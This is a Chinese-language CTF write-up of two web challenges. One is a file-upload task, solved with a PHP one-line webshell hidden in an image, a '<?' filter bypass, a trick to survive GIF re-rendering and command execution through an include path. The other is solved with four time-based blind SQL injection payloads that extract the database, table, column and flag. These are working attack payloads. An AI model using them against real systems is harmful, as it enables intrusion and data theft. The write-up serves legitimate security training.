easy-upload
打开题目看见文件上传的页面,首先想到的是上传木马连菜刀。上传任意文件得到提示:文件只能是gif、jpg、png格式,所以上传一个图片文件,使用DOS命令在图片里插入一句话木马
1 | 一句话木马: |
再次上传,得到提示不能有”<?”
使用1
2
3<script language="php">
@eval($_POST['mc']);
</script>
绕过<?的限制,再次上传,上传成功,并得到上传后的文件名。
接着利用御剑进行爆破扫描,得到几个可利用的目录
1 | ./uploads/ |
在./uploads/里找到了自己上传的图片
连接菜刀期待得到flag
然后,连不上。。。
在题目放了提示二次渲染之后,学习了一波关于二次渲染的知识,(在这里分享一波我们 温柔的!yang学长 的文章https://xz.aliyun.com/t/2657 太详细啦)
大致的看了关于二次渲染的知识后就开始尝试绕过,由于我的脑回路新奇吧加上没好好看学长这篇文章,我选择了上传jpg格式的图片[手动微笑],然后就开始了漫长的生成jpg图片马的过程,以及为了生成它漫长的安装php gd库的过程[再次微笑]
png和jpg格式的文件绕过二次渲染比较麻烦,其实我们可以选择上传gif,只需要下载上传后的文件跟下载前的文件进行比对,找到渲染前后没有变化的位置,然后将php代码写进去即可成功绕过
然后绕过之后,依然连不上菜刀hhhhhh
but代码执行不了可以构造命令执行1
<script language=php>system("ls")</script>
post传参访问图片的包含路径(刚刚扫描到的路径./include.php)
看到一个,名为flag的文件,cat这个文件,得到flag
easy_sql
一道关于时间的盲注,过滤掉了一些字符
第一步爆数据库
1 | 1' union select * from (( select sleep(ascii(mid(database() from (1) for (1))) >119))A join (select 2)B join (select 6)C) # |
第二步爆表
1 | 1' union select * from (( select sleep(((ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema regexp database()) from (1) for (1)))) < 97)/(1/5)))A join (select 2)B join (select 3)C) # |
第三步爆字段
1 | 1' union select * from (( select sleep(((ascii(mid((select group_concat(column_name) from information_schema.columns where table_name regexp 'article') from (1) for (1)))) < 105)/(1/5)))A join (select 2)B join (select 3)C) # |
第四步爆flag字段的数据
1 | 1' union select * from (( select sleep(((ascii(mid((select flag from article) from (1) for (1)))) <102)/(1/5)))A join (select 2)B join (select 3)C) # |
得到flag